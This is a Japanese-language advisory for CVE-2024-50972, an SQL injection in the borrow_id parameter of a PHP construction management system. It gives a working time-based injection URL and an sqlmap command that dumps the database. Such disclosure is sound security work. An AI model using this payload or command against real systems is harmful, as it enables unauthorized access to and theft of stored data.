CVE-2024-50972
説明
Itsourcecode Construction Management System 1.0 の printtool.php における SQL インジェクションの脆弱性により、リモート攻撃者が borrow_id パラメータを介して任意の SQL コマンドを実行可能です。
脆弱性タイプ
SQLインジェクション
製品ベンダー
Itsourcecode
影響を受ける製品コードベース:
https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0
影響を受けるコンポーネント:
Itsourcecode Construction Management System v1.0 は、printtool.php ページの borrow_id パラメータを介した SQL インジェクションに対して脆弱です。
攻撃ベクトル:
- アプリケーションをローカルにセットアップし、管理者認証情報 admin:admin でログインします。
- ブラウザで以下の URL にアクセスします:
http://localhost/monitoring_system/printtool.php?borrow_id=5
- SQL ペイロードを注入します:
URL の borrow_id パラメータを変更して、時間ベースの SQL インジェクションペイロードを含めます。
http://localhost/monitoring_system/printtool.php?borrow_id=5'+AND+(SELECT+7254+FROM+(SELECT(SLEEP(20)))rcGT)--+xxQB
- アプリケーションの応答を確認します:
注入が成功した場合、ページの読み込みに顕著な遅延(20秒)が発生し、borrow_id パラメータが SQL インジェクションに対して脆弱であることが確認されます。
- 次に、SQLMap ツールを使用して以下のコマンドでさらなる悪用とデータベースのダンプを行います:
sqlmap.py -u http://localhost/monitoring_system/printtool.php?borrow_id=5 --risk 3 --level 3 --cookie="PHPSESSID=your_cookie_here" --dbs --technique=T --dump --no-cast
参考情報:
- https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/
- https://owasp.org/www-community/attacks/SQL_Injection